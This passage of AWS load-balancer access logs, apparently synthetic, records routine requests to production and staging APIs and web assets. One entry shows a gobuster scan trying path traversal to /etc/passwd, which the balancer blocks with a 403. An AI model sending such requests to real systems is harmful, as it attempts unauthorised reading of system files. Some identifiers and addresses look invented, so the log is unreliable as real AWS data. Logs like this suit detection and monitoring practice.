OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c006-ed1b1e10676f4b54813161bb" "staging-alb.example.com" "-" 10 2024-11-01T00:36:06.547495Z "forward" "-" "-" "54.227.1.3:8080" "200" "-" "-" +https 2024-11-01T00:36:07.053213Z prod-api-alb 9.160.145.16:62933 10.0.72.191:443 0.058407 0.165983 0.097751 200 200 677 7861 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c007-7d67c5965ab64d8886d19d5d" "prod-api-alb.example.com" "-" 6 2024-11-01T00:36:07.053213Z "forward" "-" "-" "10.0.72.191:443" "200" "-" "-" +https 2024-11-01T00:36:08.692183Z prod-web-alb 241.11.192.224:40512 10.0.107.201:443 0.096487 0.393024 0.007136 302 302 70 9045 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c008-ab21b7ba78d54856aafe1575" "prod-web-alb.example.com" "-" 1 2024-11-01T00:36:08.692183Z "forward" "-" "-" "10.0.107.201:443" "302" "-" "-" +http 2024-11-01T00:36:09.669554Z staging-alb 123.69.156.202:33478 14.36.248.50:8080 0.008334 0.217841 0.009452 302 302 241 13579 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c009-0f6d081b16d94e04bb5bf7a7" "staging-alb.example.com" "-" 5 2024-11-01T00:36:09.669554Z "forward" "-" "-" "14.36.248.50:8080" "302" "-" "-" +https 2024-11-01T00:36:10.963089Z prod-api-alb 103.121.30.41:59856 10.0.248.225:443 0.048845 0.203717 0.051233 200 200 32 2320 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c00a-47886bd67d524e4187ed3d04" "prod-api-alb.example.com" "-" 3 2024-11-01T00:36:10.963089Z "forward" "-" "-" "10.0.248.225:443" "200" "-" "-" +https 2024-11-01T00:36:12.215215Z staging-alb 71.170.101.68:47029 90.44.23.77:443 0.071347 0.284509 0.093798 200 200 316 10083 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c00c-783a9bf5afa8457b9f3fefc6" "staging-alb.example.com" "-" 10 2024-11-01T00:36:12.215215Z "forward" "-" "-" "90.44.23.77:443" "200" "-" "-" +https 2024-11-01T00:36:13.323931Z prod-web-alb 183.63.249.44:19933 10.0.20.48:443 0.062343 0.393852 0.076451 200 200 928 12677 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c00d-b0f97b0f110749c5b70dde13" "prod-web-alb.example.com" "-" 5 2024-11-01T00:36:13.323931Z "forward" "-" "-" "10.0.20.48:443" "200" "-" "-" +https 2024-11-01T00:36:14.971751Z prod-web-alb 216.48.219.162:29785 10.0.215.103:443 0.020077 0.311742 0.068822 404 404 701 2764 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c00e-75ad3ed995c1479fbb93c75e" "prod-web-alb.example.com" "-" 6 2024-11-01T00:36:14.971751Z "forward" "-" "-" "10.0.215.103:443" "404" "-" "-" +http 2024-11-01T00:36:15.992306Z staging-alb 231.103.130.188:29875 80.134.69.152:80 0.026876 0.129906 0.097589 200 200 710 10631 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c00f-1b0033e3c064475bbeba5c19" "-" "-" 7 2024-11-01T00:36:15.992306Z "forward" "-" "-" "80.134.69.152:80" "200" "-" "-" +https 2024-11-01T00:36:16.304184Z prod-api-alb 24.16.211.30:50325 10.0.145.221:443 0.006537 0.257687 0.065057 404 404 231 7699 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c010-48389a75c65d48888de4458f" "prod-api-alb.example.com" "-" 7 2024-11-01T00:36:16.304184Z "forward" "-" "-" "10.0.145.221:443" "404" "-" "-" +https 2024-11-01T00:36:17.962875Z prod-web-alb 145.117.97.6:29530 10.0.246.120:443 0.012781 0.226345 0.098544 200 200 968 13724 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c011-d64a1d10e7c544cf90c7dbd8" "-" "-" 3 2024-11-01T00:36:17.962875Z "forward" "-" "-" "10.0.246.120:443" "200" "-" "-" +https 2024-11-01T00:36:19.496711Z prod-api-alb 23.98.118.234:28680 10.0.239.203:443 0.083204 0.085077 0.072176 404 404 354 402 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c013-141404f6f0d643bda6ff636b" "prod-api-alb.example.com" "-" 5 2024-11-01T00:36:19.496711Z "forward" "-" "-" "10.0.239.203:443" "404" "-" "-" +http 2024-11-01T00:36:20.850466Z staging-alb 254.102.79.146:59512 135.126.203.200:8080 0.001894 0.382095 0.037383 301 301 887 8534 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c014-e04030caac6b4aec9de99c81" "staging-alb.example.com" "-" 0 2024-11-01T00:36:20.850466Z "forward" "-" "-" "135.126.203.200:8080" "301" "-" "-" +http 2024-11-01T00:36:21.073830Z staging-alb 17.174.201.103:32373 74.140.247.112:80 0.058684 0.697644 0.115135 200 200 760 3323 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c015-6b953b0e8f424788b22cb96b" "staging-alb.example.com" "-" 7 2024-11-01T00:36:21.073830Z "forward" "-" "-" "74.140.247.112:80" "200" "-" "-" +http 2024-11-01T00:36:22.139496Z staging-alb 192.17.122.126:26337 50.222.105.65:8080 0.094351 0.301965 0.113413 200 200 499 1067 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c016-202fb94b7c894c3ea98b69b6" "staging-alb.example.com" "-" 10 2024-11-01T00:36:22.139496Z "forward" "-" "-" "50.222.105.65:8080" "200" "-" "-" +https 2024-11-01T00:36:23.177743Z prod-web-alb 133.155.12.57:37302 10.0.93.182:443 0.037624 0.337735 0.023514 404 404 298 10381 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c017-7d89f9ce0eba4136a33c1f91" "prod-web-alb.example.com" "-" 6 2024-11-01T00:36:23.177743Z "forward" "-" "-" "10.0.93.182:443" "404" "-" "-" +http 2024-11-01T00:36:23.327660Z staging-alb 199.20.46.71:34236 46.177.223.10:8080 0.070506 0.206693 0.100837 200 200 322 13840 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c017-48c6c28430ba4666bf3bfaf9" "staging-alb.example.com" "-" 10 2024-11-01T00:36:23.327660Z "forward" "-" "-" "46.177.223.10:8080" "200" "-" "-" +https 2024-11-01T00:36:25.234230Z prod-web-alb 150.22.171.180:41324 10.0.232.30:443 0.024912 0.081941 0.003505 404 404 206 7434 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c019-893da0556eb24746aba16c0f" "prod-web-alb.example.com" "-" 7 2024-11-01T00:36:25.234230Z "forward" "-" "-" "10.0.232.30:443" "404" "-" "-" +https 2024-11-01T00:36:27.000493Z prod-api-alb 170.66.146.27:42468 10.0.91.206:443 0.076180 0.329240 0.097022 404 404 171 3479 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c01b-cd77f43224b54e21ab2bcfe3" "prod-api-alb.example.com" "-" 2 2024-11-01T00:36:27.000493Z "forward" "-" "-" "10.0.91.206:443" "404" "-" "-" +https 2024-11-01T00:36:28.663713Z staging-alb 201.2.160.80:35814 100.219.210.253:8080 0.002291 0.458014 0.120327 301 301 924 10033 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c01c-ef7f5f93863b44ba83b3f593" "staging-alb.example.com" "-" 1 2024-11-01T00:36:28.663713Z "forward" "-" "-" "100.219.210.253:8080" "301" "-" "-" +https 2024-11-01T00:36:28.970727Z prod-web-alb 44.186.232.51:51224 10.0.231.53:443 0.079574 0.468906 0.057840 301 301 83 11882 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c01c-c1cdad8846c54b7986168c3e" "prod-web-alb.example.com" "-" 3 2024-11-01T00:36:28.970727Z "forward" "-" "-" "10.0.231.53:443" "301" "-" "-" +https 2024-11-01T00:36:30.131850Z prod-web-alb 16.77.120.206:12744 10.0.51.105:443 0.038680 0.483102 0.085713 404 404 603 6936 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c01e-34ba98e28e3d4ea3affef714" "prod-web-alb.example.com" "-" 1 2024-11-01T00:36:30.131850Z "forward" "-" "-" "10.0.51.105:443" "404" "-" "-" +https 2024-11-01T00:36:30.558817Z prod-web-alb 130.245.107.52:37620 10.0.158.169:443 0.003312 0.011413 0.061744 302 302 312 7458 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c01e-0d372fe3846c4bb4a4161c0f" "prod-web-alb.example.com" "-" 8 2024-11-01T00:36:30.558817Z "forward" "-" "-" "10.0.158.169:443" "302" "-" "-" +http 2024-11-01T00:36:32.031492Z staging-alb 248.163.82.217:15602 248.116.247.187:8080 0.028296 0.533762 0.060900 200 200 863 14036 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c020-ac27feb83e134b419abf73e1" "staging-alb.example.com" "-" 6 2024-11-01T00:36:32.031492Z "forward" "-" "-" "248.116.247.187:8080" "200" "-" "-" +http 2024-11-01T00:36:33.181893Z staging-alb 204.111.149.245:33422 201.182.216.50:443 0.037283 0.458660 0.132911 200 200 839 7282 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c021-5d5e620cab4a4d63922b1a3b" "staging-alb.example.com" "-" 0 2024-11-01T00:36:33.181893Z "forward" "-" "-" "201.182.216.50:443" "200" "-" "-" +https 2024-11-01T00:36:34.028735Z prod-web-alb 217.0.246.36:51539 10.0.123.179:443 0.011272 0.301986 0.022383 200 200 473 2190 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c022-315c90dd3bff4f658575ec79" "prod-web-alb.example.com" "-" 5 2024-11-01T00:36:34.028735Z "forward" "-" "-" "10.0.123.179:443" "200" "-" "-" +https 2024-11-01T00:36:35.466835Z prod-web-alb 79.253.158.113:39725 10.0.180.106:443 0.006064 0.313929 0.028502 200 200 196 7455 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c023-ae5f490cb8a04e059e9f2a06" "prod-web-alb.example.com" "-" 6 2024-11-01T00:36:35.466835Z "forward" "-" "-" "10.0.180.106:443" "200" "-" "-" +https 2024-11-01T00:36:36.632079Z staging-alb 92.50.4.204:64264 188.142.204.215:443 0.073438 0.268124 0.052671 200 200 810 13672 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c024-a99130608bb143559d89da2d" "staging-alb.example.com" "-" 3 2024-11-01T00:36:36.632079Z "forward" "-" "-" "188.142.204.215:443" "200" "-" "-" +http 2024-11-01T00:36:38.606191Z staging-alb 158.45.113.22:19112 68.221.71.148:8080 0.144428 0.292949 0.011051 200 200 355 12444 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c026-f239317250ab4d70b67bab40" "staging-alb.example.com" "-" 8 2024-11-01T00:36:38.606191Z "forward" "-" "-" "68.221.71.148:8080" "200" "-" "-" +http 2024-11-01T00:36:40.502562Z staging-alb 246.51.185.225:58218 131.167.245.134:8080 0.135128 0.204292 0.046281 301 301 44 9603 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c028-86198478ebd84a49a53b43b8" "staging-alb.example.com" "-" 2 2024-11-01T00:36:40.502562Z "forward" "-" "-" "131.167.245.134:8080" "301" "-" "-" +https 2024-11-01T00:36:40.670716Z prod-web-alb 181.230.183.87:59833 10.0.51.137:443 0.046274 0.072178 0.064237 200 200 55 14559 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c028-b8a2958fd0a844569346d413" "prod-web-alb.example.com" "-" 1 2024-11-01T00:36:40.670716Z "forward" "-" "-" "10.0.51.137:443" "200" "-" "-" +http 2024-11-01T00:36:42.610807Z staging-alb 244.33.34.12:62468 58.46.2.74:8080 0.135263 0.213556 0.065077 302 302 930 4882 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c02a-6f6668fb865f4b1a8a019c0a" "staging-alb.example.com" "-" 5 2024-11-01T00:36:42.610807Z "forward" "-" "-" "58.46.2.74:8080" "302" "-" "-" +https 2024-11-01T00:36:44.282347Z staging-alb 60.10.33.78:45438 231.149.229.238:80 0.036248 0.452582 0.027432 200 200 492 6640 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c02c-31afc76a473c46f0ba00a912" "staging-alb.example.com" "-" 6 2024-11-01T00:36:44.282347Z "forward" "-" "-" "231.149.229.238:80" "200" "-" "-" +https 2024-11-01T00:36:44.688268Z prod-web-alb 87.87.125.41:47531 10.0.49.202:443 0.035213 0.387305 0.060786 200 200 785 4368 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c02c-d6a05ab056e94dc0b44200a8" "prod-web-alb.example.com" "-" 10 2024-11-01T00:36:44.688268Z "forward" "-" "-" "10.0.49.202:443" "200" "-" "-" +https 2024-11-01T00:36:46.259297Z prod-api-alb 45.155.205.141:34792 10.0.123.168:443 0.011957 0.480819 0.047756 403 403 115 794 "GET /../../../etc/passwd HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c02e-e5106504c5c946bfbc5c0d8c" "-" "-" 2 2024-11-01T00:36:46.259297Z "forward" "-" "-" "10.0.123.168:443" "403" "-" "-" +https 2024-11-01T00:36:47.120157Z prod-web-alb 99.230.124.169:59379 10.0.7.169:443 0.088606 0.286661 0.038540 200 200 177 6179 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c02f-d39540ce340d48c3b74656b4" "prod-web-alb.example.com" "-" 7 2024-11-01T00:36:47.120157Z "forward" "-" "-" "10.0.7.169:443" "200" "-" "-" +http 2024-11-01T00:36:47.366517Z staging-alb 139.42.239.71:18530 249.131.248.125:443 0.085039 0.678589 0.046872 200 200 788 6057 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c02f-f51f0ec162da41aa8be25df1" "staging-alb.example.com" "-" 5 2024-11-01T00:36:47.366517Z "forward" "-" "-" "249.131.248.125:443" "200" "-" "-" +https 2024-11-01T00:36:48.701903Z prod-api-alb 60.246.183.6:53245 10.0.97.145:443 0.004119 0.309888 0.046345 200 200 329 8533 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c030-1312f88d66c242c0942dbe12" "prod-api-alb.example.com" "-" 7 2024-11-01T00:36:48.701903Z "forward" "-" "-" "10.0.97.145:443" "200" "-" "-" +http 2024-11-01T00:36:50.178065Z staging-alb 31.88.206.121:48336 73.7.76.217:80 0.143011 0.263121 0.136549 200 200 640 10606 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c032-474036f196ae498b86691fae" "staging-alb.example.com" "-" 4 2024-11-01T00:36:50.178065Z "forward" "-" "-" "73.7.76.217:80" "200" "-" "-" +https 2024-11-01T00:36:50.941074Z prod-web-alb 221.112.6.115:58713 10.0.115.60:443 0.066430 0.174592 0.071900 200 200 375 4466 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c032-47e34d08649c418f81f20d86" "prod-web-alb.example.com" "-" 2 2024-11-01T00:36:50.941074Z "forward" "-" "-" "10.0.115.60:443" "200" "-" "-" +https 2024-11-01T00:36:52.440168Z prod-web-alb 56.37.181.148:53292 10.0.39.19:443 0.099295 0.199066 0.029226 404 404 224 13280 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c034-a80431c0327346e79cd27066" "prod-web-alb.example.com" "-" 8 2024-11-01T00:36:52.440168Z "forward" "-" "-" "10.0.39.19:443" "404" "-" "-" +https 2024-11-01T00:36:52.583908Z prod-api-alb 114.115.219.148:22736 10.0.148.72:443 0.089952 0.305234 0.099032 404 404 830 9357 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c034-3e4471abb5e248de95a01668" "prod-api-alb.example.com" "-" 10 2024-11-01T00:36:52.583908Z "forward" "-" "-" "10.0.148.72:443" "404" "-" "-" +https 2024-11-01T00:36:53.967973Z prod-api-alb 8.151.128.86:33318 10.0.196.253:443 0.067602 0.239102 0.006687 200 200 732 4776 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c035-586045b58a7a4192ba218c73" "prod-api-alb.example.com" "-" 0 2024-11-01T00:36:53.967973Z "forward" "-" "-" "10.0.196.253:443" "200" "-" "-" +https 2024-11-01T00:36:54.075266Z prod-api-alb 96.100.147.162:52149 10.0.157.150:443 0.084157 0.474559 0.063502 302 302 520 9772 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c036-4003fbfe1e3448bbb5c4750e" "prod-api-alb.example.com" "-" 5 2024-11-01T00:36:54.075266Z "forward" "-" "-" "10.0.157.150:443" "302" "-" "-" +https 2024-11-01T00:36:54.495854Z staging-alb 31.234.48.120:14308 46.87.97.9:8080 0.111010 0.100950 0.128664 301 301 56 2600 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c036-238d1dd0c10d4ea8bd135e77" "staging-alb.example.com" "-" 8 2024-11-01T00:36:54.495854Z "forward" "-" "-" "46.87.97.9:8080" "301" "-" "-" +http 2024-11-01T00:36:56.263311Z staging-alb 166.97.130.45:58055 240.235.48.132:80 0.145368 0.042468 0.130911 200 200 977 14870 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c038-9cd62b17139f4435a5b1e436" "staging-alb.example.com" "-" 0 2024-11-01T00:36:56.263311Z "forward" "-" "-" "240.235.48.132:80" "200" "-" "-" +http 2024-11-01T00:36:58.221765Z staging-alb 92.158.56.128:54993 184.81.137.63:80 0.112695 0.682039 0.002590 302 302 88 907 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c03a-dfc93f81157548aa9191dbd1" "staging-alb.example.com" "-" 8 2024-11-01T00:36:58.221765Z "forward" "-" "-" "184.81.137.63:80" "302" "-" "-" +https 2024-11-01T00:36:59.398097Z prod-web-alb 113.157.80.145:23887 10.0.69.117:443 0.013963 0.041588 0.023410 200 200 509 2685 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c03b-f2f29a04bd624c57bfa4cdc9" "prod-web-alb.example.com" "-" 7 2024-11-01T00:36:59.398097Z "forward" "-" "-" "10.0.69.117:443" "200" "-" "-" +https 2024-11-01T00:37:01.053460Z prod-api-alb 156.199.141.52:33149 10.0.234.57:443 0.095981 0.012728 0.037849 200 200 841 786 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 